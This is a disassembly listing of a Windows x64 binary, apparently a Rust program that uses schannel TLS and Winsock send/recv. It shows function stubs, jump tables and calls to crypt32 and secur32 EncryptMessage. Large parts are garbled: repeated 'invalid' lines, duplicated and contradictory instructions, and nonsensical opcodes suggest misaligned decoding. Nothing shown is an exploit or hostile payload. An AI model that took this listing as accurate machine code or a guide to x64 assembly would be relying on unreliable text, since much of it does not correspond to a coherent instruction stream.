mov r9, qword [rax + 8]
mov ecx, dword [rax + 8]
or bl, bpl
or bl, ch
jmp case.0x14010aa7a.381
add eax, dword [rbp + 0x31]
xor r10d, r10d
ror byte [rcx + rcx*4 + 0x54], cl
and al, 0x20
invalid
mov qword [rsp + 0x20], r10
mov dword [rsp + 0x20], edx
and byte [rax - 0x77], cl
mov rcx, rsi
mov ecx, esi
int1
call fcn.1401167a0
add byte [rax], al
mov rax, rsi
mov eax, esi
invalid
add rsp, 0x30
invalid
pop rsi
ret
int3
int3
int3
int3
int3
int3
sub rsp, 0x20
sub esp, 0x20
in al, dx
and byte [rax - 0x77], cl
mov esi, ecx
mov rsi, rcx
mov esi, ecx
xor eax, eax
rol byte [rbx + 0xf02107a], 0x95
cmp dword [rdx + 0x10], 2
setne al
xchg ebp, eax
invalid
add cl, byte [rdi]
xchg ebp, eax
ror byte [rax - 0x73], 0x14
lea rdx, [rdx + rax*8]
add rdx, 0x18
add edx, 0x18
ret 0x8348
add edx, 0x18
ret 0xe818
call fcn.140052c60
invalid
dec dword [rax - 0x77]
invalid
mov rax, rsi
add rsp, 0x20
add esp, 0x20
add esp, 0x20
and byte [rsi - 0x3d], bl
int3
pop rsi
ret
int3
int3
push rsi
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
mov rsi, rcx
call case.0x140111eeb.232
adc eax, dword [rax]
add byte [rax], al
invalid
invalid
adc eax, dword [rax]
add byte [rax], al
invalid
mov rax, rsi
mov eax, esi
add rsp, 0x20
pop rsi
ret
int3
int3
int3
push rdi
in al, dx
cmp byte [rax - 0x73], cl
lea rbp, [rsp + 0x30]
xor byte [rax - 0x39], cl
add r14b, r15b
invalid
dec dword [rax - 0x77]
invalid
mov esi, ecx
add dword [rax], eax
add byte [rax - 0x39], cl
invalid
clc
clc
add byte [rax], al
clc
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x45], cl
clc
clc
pop rsi
mov es, word [rdi]
add byte [0xc01a69bd], bh
invalid
add ecx, dword [rcx]
invalid
invalid
invalid
or dword [rax - 0x3f7a9c8c], eax
sal byte [rbp + 0x64], 0x4c
mov edi, dword [rbp - 8]
mov r15, qword fs:[rbp - 8]
pop rdi
or byte [rcx - 0x75], al
jg 0x1401166d1
invalid
adc byte [rax - 0x7b], cl
push qword [rbp + rbp*2 + 0xf]
test edi, edi
mov dh, 5
cmp ebx, dword [rdx + rdx]
mov ecx, dword [0x14023c258]
test byte [rbx + 0x12], bl
add byte [rax - 0x7b], cl
test ecx, ecx
pop rbx
adc al, byte [rax]
test ecx, ecx
mov dword [rdi], eax
add byte [rax - 0x7b], cl
sal byte [rbp + rbx + 0x48], 0x89
sbb eax, 0x48c18948
invalid
invalid
sbb eax, 0x48c18948
mov dword [0x14023c258], eax
push 0x5b
adc al, byte [rax]
mov ecx, eax
push 0x5b
adc al, byte [rax]
mov eax, edi
add byte [rcx - 0x77], cl
invalid
mov esi, eax
add dword [rax], eax
add byte [rax], al
inc dword [rsi]
add byte [rdi], cl
or eax, dword [rbp + 0x31]
imul bl
invalid
add bh, byte [rcx + 2]
imul bl
sbb eax, 0x1be41
mov esi, 1
mov esi, 1
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
std
invalid
pop rdi
adc byte [rbp + 0x41], dl
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x30
lea ebp, [rdx + 0x30]
mov rcx, qword [rbp - 0x10]
call sub.crypt32.dll_CertFreeCertificateContext
hlt
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
int3
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x10], 0xfffffffffffffffe
invalid
invalid
invalid
dec dword [rbp - 0x77]
iretd
add byte [rax - 0x39], cl
adc r14b, r15b
invalid
invalid
invalid
mov r12, rcx
mov qword [rdx + 0x138], r8
add dword [rax], eax
add byte [rax - 0x73], cl
jge 0x14011678c
int3
add byte [rax - 0x73], cl
jge 0x14011678c
mov rcx, rdi
stc
mov qword [rbp + 8], rdx
or al, ch
add byte [0x1859c67e2], al
add eax, 0x458b0000
call fcn.140116ce0
mov eax, dword [rbp - 0x48]
mov eax, 0x7502f883
invalid
add eax, 0x458b0000
mov eax, 0x7502f883
sbb eax, 0xc07d8b48
mov rdi, qword [rbp - 0x40]
clc
add dh, byte [rbp + 0x1d]
mov rdi, qword [rbp - 0x40]
jge case.0x1401132c0.233
ror byte [rcx + 0x3e683fe], 0x48
mov esi, edi
and esi, 3
add ecx, dword [rax - 0x73]
add eax, 0xd8ecc
lea eax, [0x1401ef6c4]
movsxd rcx, dword [rax + rsi*4]
add rcx, rax
ror dword [rax - 0x75], 0x5d
invalid
invalid
mov ebx, dword [rbp + 8]
jmp rcx
test eax, eax
je case.0x14011633f.160
test byte [rdi + 1], dh
add byte [rax], al
test byte [rdi + 1], dh
add byte [rax], al
add byte [rax - 0x75], cl
push rbp
or byte [rbx + rcx*4 - 0x4e], cl
mov dl, 0xb8
add dword [rax], eax
add byte [rbx + rdi - 0x4e], cl
mov dl, 0xb0
add dword [rax], eax
invalid
mov rdx, qword [rbp + 8]
mov edx, dword [rbp + 8]
mov r14, qword [rdx + 0x1b8]
cmp r14, qword [rdx + 0x1b0]
mov dl, 0xb0
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + rdi - 0x4e], cl
mov dl, 0xb0
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
test dword [rdx + 0x48000001], ebx
invalid
add dword [rax], eax
add byte [rax], al
mov rax, qword [rbp + 0x80]
jne 0x1401169bf
invalid
add byte [rax], al
mov rax, qword [rbp + 0x80]
add byte [rax], 0
add byte [rbx - 0x74b743b3], cl
invalid
invalid
add byte [rax], al
mov ecx, dword [rbp - 0x44]
mov rbx, qword [rbp - 0x40]
mov esi, ebx
shr rbx, 0x20
shr ebx, 0x20
pop rbp
ror byte [rcx - 0x143eb722], 0x20
shr ebx, 0x20
shr ebx, 0x20
and byte [rax + 0x39], cl
fmul dword [rax + 0xf]
cmovb ebx, eax
invalid
invalid
cmp rax, rbx
cmovb rbx, rax
cmovb ebx, eax
cmovb ebx, eax
fmul dword [rax - 0x77]
mov qword [rbp - 8], rcx
clc
lea r13, [rbx + rcx]
sub al, 0xb
add rsi, r13
lea r8, [rdx + 0x1a0]
invalid
sub rsi, r14
mov qword [rbp], r12
test byte [rcx + rcx*4 + 0x65], 0
jbe 0x1401168c6
mov rax, qword [rdx + 0x1a8]
add byte [rax], al
sub rax, r14
cmp rax, rsi
invalid
jae 0x140116889
invalid
invalid
invalid
mov r12, r8
mov rcx, r8
mov ecx, eax
mov ecx, eax
mov rdx, r14
mov r8, rsi
invalid
call fcn.14018d7c0
outsd dx, dword [rsi]
invalid
add byte [rax - 0x75], cl
mov eax, dword [rbp + 8]
invalid
outsd dx, dword [rsi]
invalid
mov eax, dword [rbp + 8]
or byte [rbx + rcx*4 - 0x50], cl
mov al, 1
add dword [rax], eax
invalid
mov r14, qword [rax + 0x1b0]
add dword [rax], eax
add byte [rbp - 0x77], cl
mov r8, r12
loopne case.0x140115682.197
mov r12, qword [r8]
mov esp, dword [rax]
lea rcx, [r12 + r14]
or al, 0x34
cmp rsi, 2
cmp esi, 2
add dh, byte [rdx + 0x1f]
jb 0x1401168b5
mov qword [rbp - 0x50], r8
mov r8b, 0x4c
lea eax, [rsi - 1]
invalid
invalid
lea r8, [rsi - 1]
push qword [rcx]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
cld
invalid
add byte [rbx + rcx*4 + 0x45], cl
mov eax, dword [rbp - 0x50]
shr al, cl
cld
invalid
mov eax, dword [rbp - 0x50]
mov al, 0x49
add esi, esi
add r14, rsi
dec r14
dec esi
add r12, r14
mov rcx, r12
invalid
loope case.0x140115682.209
mov byte [rcx], 0
add dword [rax], eax
inc r14
mov rax, qword [rbp + 8]
or byte [r9 + rcx*4 - 0x50], r9b
mov al, 1
add byte [rax], al
or byte [r9 + rcx*4 - 0x50], r9b
mov dword [rax + 0x1b0], esi
mov al, 1
add byte [rax], al
cmp r14, r13
jb 0x140116c20
mov r12, qword [r8]
mov esp, dword [rax]
mov rax, qword [rbp - 8]
clc
lea rsi, [r12 + rax]
lea esi, [rsp + rax]
add al, 0x48
mov ecx, esi
int1
mov rcx, rsi
int1
mov rdx, r15
mov edx, edi
mov r15, rax
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
invalid
sti
invalid
add byte [rbp + 0x39], cl
invalid
fsubr st(0)
invalid
add byte [rbp + 0x39], cl
dec byte [rdi]
invalid
invalid
cmp esi, edi
jb 0x140116c34
add eax, dword [rax]
add byte [rbp + 0x29], al
out dx, al
sub r14d, r13d
sub esi, ebp
add r13, r12
add ebp, esp
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
invalid
invalid
ror byte [rdi], 0x11
call 0xf88ef249
mov dword [rbp - 0x48], r15d
jge case.0x1401156eb.211
mov dword [rbp - 0x44], 7
mov r12d, 7
invalid
add byte [rax], al
mov qword [rbp - 0x40], r12
mov dword [rbp - 0x40], esp
ror byte [rcx + 0x45c7c85d], 0xcc
mov dword [rbp - 0x38], ebx
mov dword [rbp - 0x34], 1
int3
add dword [rax], eax
add byte [rax], al
pop rbp
enter 0x45c7, 0xffffffffffffffcc
int3
int3
add dword [rax], eax
add byte [rax], al
mov qword [rbp - 0x30], rsi
mov dword [rbp - 0x30], esi
rol byte [rcx + rcx*4 + 0x75], 1
fadd st(7)
invalid
fadd qword [r14]
fadd qword [rsi]
mov dword [rbp - 0x28], r14d
mov dword [rbp - 0x28], esi
mov dword [rbp - 0x24], 6
fadd qword [rsi]
add byte [rax], al
add byte [rcx + rcx*4 + 0x6d], cl
invalid
invalid
insd dword [rdi], dx
mov qword [rbp - 0x20], r13
insd dword [rdi], dx
loopne case.0x14011633f.159
movabs rax, 0x400000000
mov eax, 0
add al, 0
invalid
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
add byte [rax], al
mov qword [rbp - 0x60], rax
movabs al, byte [0x8458b48a87d8948]
mov qword [rbp - 0x58], rdi
mov dword [rbp - 0x58], edi
test al, 0x48
mov rax, qword [rbp + 8]
mov eax, dword [rbp + 8]
or byte [rax - 0x73], cl
lea rcx, [rax + 0x1c0]
lea r8, [rbp - 0x60]
invalid
invalid
mov al, al
add dword [rax], eax
add byte [rbp + rcx*4 + 0x45], cl
movabs al, byte [0xcf15ffc93145d231]
xor edx, edx
xor r9d, r9d
invalid
invalid
iretd
movabs al, byte [0xcf15ffc93145d231]
xor edx, edx
xor r9d, r9d
call qword [sym.imp.secur32.dll_EncryptMessage]
mov r12, qword [rbp]
mov esp, dword [rbp]
iretd
mov eax, dword [rdi]
add byte [rbx + rcx*4 + 0x65], cl
invalid
invalid
mov esp, dword [rbp]
add byte [rcx + 0x74c085c7], cl
sub eax, 0x20e7c148
shl rdi, 0x20
mov edi, eax
test eax, eax
invalid
sal byte [rbp + rbp + 0x48], 0xc1
out 0x20, eax
je case.0x140115f51.129
shl rdi, 0x20
or rdi, 2
or edi, 2
add cl, byte [rcx + 0x3e683fe]
mov esi, edi
and esi, 3
lea rax, [0x1401ef6c4]
lea eax, [0x1401ef6c4]
lea ecx, [0x14c74b17a]
mov al, 0x48
add ecx, eax
invalid
add byte [rax + 0x63], cl
or al, 0xb0
movsxd rcx, dword [rax + rsi*4]
invalid
add rcx, rax
ror dword [rax - 0x75], 0x5d
or bh, bh
jmp rcx
invalid
mov rbx, qword [rbp + 8]
jmp rcx
movabs rdi, 0x8009031700000002
jmp 0x1401169d7
mov edi, 2
add al, byte [rax]
add byte [rax], al
invalid
add byte [rdi], dl
invalid
add ecx, dword [rcx]
sub bl, 0x47
mov eax, dword [rbp - 0x38]
add eax, dword [rbp - 0x48]
invalid
invalid
enter 0x4503, 0xffffffffffffffb8
mov r8d, 0x48d84503
mov edx, dword [rbp + 8]
push rbp
invalid
add eax, dword [rbp - 0x28]
fmul dword [r8 - 0x75]
mov rdx, qword [rbp + 8]
push rbp
or byte [rax + 0x39], cl
invalid
invalid
cmp qword [rdx + 0x1b0], rax
cmp dword [rdx + 0x1b0], eax
mov al, 1
add byte [rax], al
jb 0x1401169ad
invalid
mov qword [rdx + 0x1b0], rax
mov dword [rdx + 0x1b0], eax
mov al, 1
add byte [rax], al
invalid
add byte [rax - 0x39], cl
invalid
mov qword [rdx + 0x1b8], 0
mov dword [rdx + 0x1b8], 0
mov eax, 1
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rdx + 0x200], rbx
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
lea rcx, [rbp - 0x48]
movabs r8, 0x7d834800001ca8e8
mov eax, 0xdd840f00
add byte [rdi], cl
test ch, bl
invalid
call fcn.140118670
sbb al, 0
add byte [rax - 0x7d], cl
invalid
invalid
cmp qword [rbp - 0x48], 0
jge case.0x14011633f.160
add byte [rdi], cl
test ch, bl
invalid
je case.default.0x1401169ee
fld qword [rax]
add byte [rax], al
add byte [rax - 0x75], cl
mov rdi, qword [rbp - 0x40]
add byte [rax], al
mov rdi, qword [rbp - 0x40]
ror byte [rax - 0x75], 0x5d
mov rbx, qword [rbp + 8]
mov ebx, dword [rbp + 8]
or byte [rcx + 0x3e683fe], cl
mov esi, edi
and esi, 3
add ecx, dword [rax - 0x73]
add eax, 0xd8cdd
invalid
invalid
invalid
lea rax, [0x1401ef6c4]
lea eax, [0x1401ef6c4]
mov word [0x14c74b1ea], cs
mov al, 0x48
add rcx, rax
add byte [rax + 0x63], cl
or al, 0xb0
movsxd rcx, dword [rax + rsi*4]
invalid
add rcx, rax
sar edi, 0xe1
jmp rcx
loope case.0x140115f51.97
movzx eax, byte [rdi + 0x10]
jmp 0x140116a2c
mov dh, 0x47
adc bl, ch
adc r11b, r13b
mov rcx, rdi
mov rcx, rdi
shr rcx, 0x20
call fcn.14014c870
add eax, dword [rax]
jmp 0x140116a2c
mov rax, rdi
shr rax, 0x20
cmp eax, 0x28
ja case.default.0x140116a22
lea rcx, [0x1401ef6d4]
lea ecx, [0x1401ef6d4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
xor eax, eax
jmp 0x140116a2c
movzx eax, byte [rdi + 0xf]
invalid
cmp al, 0xd
jne 0x140116a84
mov qword [r12], 2
mov dword [rsp], 2
mov qword [rbx + 0x138], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rsi - 2]
lea eax, [rsi - 2]
dec byte [rax - 0x7d]
clc
add dh, byte [rdx + 0x4f]
jb 0x140116a9c
cmp rax, 2
jb 0x140116a9c
cmp esi, 1
jne 0x140116a9c
lea rax, [rdi - 1]
mov qword [rbp + 8], rax
or byte [rax - 0x75], cl
invalid
invalid
dec dword [r8 - 0x77]
or byte [r8 - 0x75], r9b
or byte [rax - 0x75], cl
or byte [rax - 0x75], cl
mov ecx, dword [rdi - 1]
dec qword [r8 - 0x75]
mov rax, qword [rdi + 7]
invalid
mov qword [rbp], rcx
mov qword [rbp - 8], rax
mov dword [rbp - 8], eax
mov dword [rbp - 8], eax
clc
call qword [rax]
mov rax, qword [rbp - 8]
clc
clc
cmp qword [rax + 8], 0
je case.0x14011633f.70
cmp qword [rax + 0x10], 0x11
jae 0x140116ad5
mov r8, qword [rbp]
jmp 0x140116add
pop rcx
pop rcx
mov qword [r12], 1
mov dword [rsp], 1
add byte [rax], al
mov qword [r12 + 8], rdi
mov qword [rbx + 0x138], 0
cmp dword [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
add rsp, 0x98
cwde
add byte [rax], al
add byte [rax], al
pop rbx
pop rdi
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
mov rcx, qword [rbp + 8]
mov rax, qword [rcx + 0x200]
mov qword [r12], 0
mov qword [r12 + 8], rax
add byte [rcx - 0x77], cl
and al, 8
mov qword [rcx + 0x138], 0
mov dword [rcx + 0x138], 0
add byte [rax], al
add bl, ch
invalid
jmp 0x140116a9c
mov r8, qword [rbp]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
sar bh, cl
adc eax, 0x7853c
mov rcx, qword [0x14023c258]
adc al, byte [rax]
xor edx, edx
mov r8, qword [rbp + 8]
or bh, bh
adc eax, 0x78529
or bh, bh
adc eax, 0x78529
jmp 0x140116a9c
mov al, 0x25
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x23
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x24
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x1b
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x22
jmp 0x140116a2c
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_recv
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0xe
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x21
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0xb
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 4
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x28
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0xc
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 9
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x19
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x18
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 2
jmp 0x140116a2c
invalid
invalid
invalid
mov al, recv
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 3
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 7
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 1
jmp 0x140116a2c
mov al, 0x1f
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x11
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x29
jmp 0x140116a2c
invalid
invalid
invalid
mov al, setsockopt
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 5
jmp 0x140116a2c
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_setsockopt
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0xd
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 6
jmp 0x140116a2c
invalid
invalid
invalid
mov al, send
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0xa
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 8
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x1e
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x20
jmp 0x140116a2c
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_shutdown
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x27
jmp 0x140116a2c
invalid
invalid
invalid
mov al, reloc.WS2_32.dll_send
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x17
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x1c
jmp 0x140116a2c
invalid
invalid
invalid
mov al, 0x1d
jmp 0x140116a2c
mov al, 0x26
jmp 0x140116a2c
mov al, 0x1a
jmp 0x140116a2c
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r13
mov rdx, r14
call fcn.140186af0
jmp 0x140116c46
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r15
mov rdx, r14
call fcn.140186af0
ud2
add byte [rax], al
cmp rax, rdx
ja 0x140118cdc
add r14, rcx
xor r15d, r15d
cmp qword [rdi + 0x168], rbx
cmp dword [rdi + 0x168], ebx
jb 0x140118c72
xor r12d, r12d
mov rcx, qword [rdi + 0x160]
add rcx, r12
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
add r12, rbx
cmp dword [rsp + 0x5c], 5
mov qword [rdi + 0x170], r12
cmove r15d, dword [rsp + 0x58]
mov qword [rdi + 0x178], 0
mov rcx, qword [rdi + 0x198]
invalid
cwde
add dword [rax], eax
invalid
invalid
mov rdx, rcx
sub rdx, r15
jb 0x140118c9d
test r15d, r15d
je 0x140118c46
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
xchg dword [rax + 0x48000001], edx
mov ebx, eax
mov rax, qword [rdi + 0x190]
mov rbx, rax
sub rbx, rdx
jb 0x140118cb7
add byte [rcx], 0
invalid
add byte [rcx], 0
add byte [rax - 0x39], cl
xchg dword [rax + 1], edx
add byte [rax], al
add byte [rcx + rdi - 7], cl
mov qword [rdi + 0x190], 0
cmp rcx, r15
jne 0x140118c28
cmp rax, rdx
jne 0x140118c3f
jmp 0x140118c46
add byte [rax], al
mov qword [rdi + 0x198], r14
mov qword [rdi + 0x1f8], 0
jmp 0x140118c5c
cmp rax, rdx
je 0x140118c46
mov rcx, qword [rdi + 0x180]
add rdx, rcx
mov r8, rbx
call sub.VCRUNTIME140.dll_memmove
mov qword [rdi + 0x190], rbx
xor eax, eax
test r15d, r15d
sete al
mov qword [rdi + 0x198], r15
mov qword [rdi + 0x1f8], rax
add dword [rax], eax
add dh, al
add dword [rax], r8d
mov byte [rsi + 1], 0
xor eax, eax
mov byte [rsi], al
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r14
pop r15
ret
lea rcx, [rdi + 0x160]
xor edx, edx
ror byte [rcx - 0x77], cl
fsubr st(0)
cmp eax, 0x4c00074b
invalid
add byte [rbx + rcx*4 - 0x59], cl
jo 0x140118c89
add byte [rax], al
ror byte [rcx - 0x77], cl
fsubr st(0)
cmp eax, 0x4c00074b
invalid
add byte [rbx + rcx*4 - 0x59], cl
jo 0x140118c89
add byte [rax], al
invalid
jmp 0x140118ad3
dec dword [rbp + rcx*4 + 5]
xchg edx, eax
or r8b, byte [rax]
call fcn.140186af0
ud2
lea rcx, [0x1401bda8f]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
add eax, 0xa4e05
add eax, 0xa4e05
mov edx, 0x1f
call fcn.140186b70
fiadd word [rsi]
add byte [rdi], cl
invalid
fiadd word [rsi]
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_alloc_src_vecmod.rs
pop rdx
or dword [rdx], 0
mov rcx, rdx
mov rdx, rax
call fcn.140186af0
ud2
outsb dx, byte [rsi]
or r8b, byte [rax]
mov rdx, rax
call fcn.140186d80
loopne 0x140118cdf
add byte [rdi], cl
invalid
loopne 0x140118cdf
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
pop rbp
or r8b, byte [rax]
mov rcx, rax
call fcn.140186af0
invalid
add byte [rdi], cl
invalid
invalid
adc bl, al
int3
sub rsp, 0x30
lea rbp, [rsp + 0x30]
in al, dx
xor byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, qword [rcx]
mov esi, dword [rcx]
mov esi, dword [rcx]
mov qword [rbp - 0x10], rsi
lea rcx, [rbp - 0x10]
call fcn.140122e90
mov rdi, rax
mov rcx, rsi
int1
int1
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
sar bh, cl
adc eax, 0x7674e
mov rax, rdi
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
nop dword [rax]
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea rcx, [rbp - 0x10]
call case.0x14011130f.467
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
sub bl, al
int3
sub esp, 0x40
lea rbp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
cmp byte [rcx + 0x10], 0
je 0x140118dae
add rsp, 0x40
pop rbp
ret
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
mov qword [rbp - 0x10], rax
mov rcx, rax
mov qword [rbp - 0x18], rdx
call qword [rdx]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
je case.0x140110e46.463
cmp qword [rax + 0x10], 0x11
jae 0x140118dda
mov r8, qword [rbp - 0x10]
jmp 0x140118de2
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov eax, dword [rax - 8]
mov eax, dword [rax - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
add rsp, 0x40
invalid
pop rbp
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [rsp + 0x10], edx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
call 0x14862195e
call 0x14862195e
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
call fcn.140005270
out dx, al
call qword [rax + 0x20c48348]
out dx, al
call qword [rax + 0x20c48348]
pop rbp
ret
int3
mov dword [rbp], 0xfffffffe
add r14b, r15b
invalid
mov rsi, rcx
movzx eax, byte [rcx + 0xeb0]
test eax, eax
je case.0x1400e7c73.556
invalid
cmp rax, 3
cmp eax, 3
jne 0x140118e97
lea rcx, [rsi + 0x70]
mov qword [rbp - 8], rsi
call fcn.14011e750
add byte [rax], al
add byte [rax], al
mov rsi, qword [rbp - 8]
mov esi, dword [rbp - 8]
mov rax, qword [rsi + 0x58]
lock dec qword [rax]
jne 0x140118e7a
mov rcx, qword [rsi + 0x58]
mov ecx, dword [rsi + 0x58]
call fcn.14014b970
mov rax, qword [rsi + 0x60]
lock dec qword [rax]
jne 0x140118e97
mov rcx, qword [rsi + 0x60]
mov rdx, qword [rsi + 0x68]
add rsp, 0x38
pop rsi
pop rbp
jmp fcn.14006cb50
invalid
call qword [rax + 0x38c48348]
nop
add rsp, 0x38
pop rsi
pop rbp
ret
mov rax, qword [rsi + 0x58]
lock dec qword [rax]
jne 0x140118eb2
mov rcx, qword [rsi + 0x58]
mov ecx, dword [rsi + 0x58]
call fcn.14014b970
mov rax, qword [rsi + 0x60]
lock dec qword [rax]
mov qword [rbp - 8], rsi
jne 0x140118ed1
mov rax, qword [rbp - 8]
clc
mov rcx, qword [rax + 0x60]
mov rdx, qword [rax + 0x68]
call fcn.14006cb50
mov rcx, qword [rbp - 8]
add rsp, 0x38
pop rsi
pop rbp
jmp fcn.14006d7b0
adc byte [rbp + 0x56], dl
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x30
mov rcx, qword [rbp - 8]
add rcx, 0x58
call fcn.140068930
hlt
call qword [rax + 0x28c48348]
pop rsi
pop rbp
ret
hlt
sub esp, 0x28
lea rbp, [rdx + 0x30]
mov rcx, qword [rbp - 8]
call fcn.14006d7b0
nop
add rsp, 0x28
pop rsi
pop rbp
ret
and al, 0x40
mov qword [rbp], 0xfffffffffffffffe
movzx eax, byte [rcx + 0x49]
test eax, eax
mov qword [rbp - 8], rcx
je 0x140118fbf
cmp eax, 3
je 0x140118f87
cmp eax, 4
jne 0x14011912f
movzx eax, byte [rcx + 0x330]
mov dh, 0x81
xor byte [rbx], al
add byte [rax], al
cmp eax, 3
je 0x140118ff0
add dword [rax], 0
invalid
add dword [rax], 0
add byte [rbp + 0x69850fc0], al
ror byte [rdi], 0x85
imul eax, dword [rcx], 0x8b480000
test eax, eax
jne 0x1401190de
ror byte [rdi], 0x85
imul eax, dword [rcx], 0x8b480000
mov rax, qword [rbp - 8]
clc
lea rcx, [rax + 0x50]
call fcn.140108d10
jmp 0x1401190de
mov rax, qword [rcx + 0x50]
mov rdx, qword [rcx + 0x58]
mov qword [rbp - 0x10], rax
mov rcx, rax
mov qword [rbp - 0x18], rdx
call qword [rdx]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
je 0x1401190de
cmp qword [rax + 0x10], 0x11
adc byte [rcx], dl
jae 0x140119037
mov r8, qword [rbp - 0x10]
jmp 0x14011903f
invalid
add byte [rax - 0x75], cl
and byte [r8 - 0x75], cl
push rcx
sub byte [rax - 0x77], cl
invalid
mov rax, qword [rcx + 0x20]
mov rdx, qword [rcx + 0x28]
mov qword [rbp - 0x10], rax
mov rcx, rax
mov qword [rbp - 0x18], rdx
call qword [rdx]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
je 0x14011906a
cmp qword [rax + 0x10], 0x11
jae 0x140119053
mov r8, qword [rbp - 0x10]
jmp 0x14011905b
movzx eax, byte [rcx + 0x200]
test eax, eax
je 0x1401190d2
cmp eax, 4
je 0x140119094
cmp eax, 3
jne 0x1401190de
mov rax, qword [rbp - 8]
cmp dword [rax + 0x208], 2
invalid
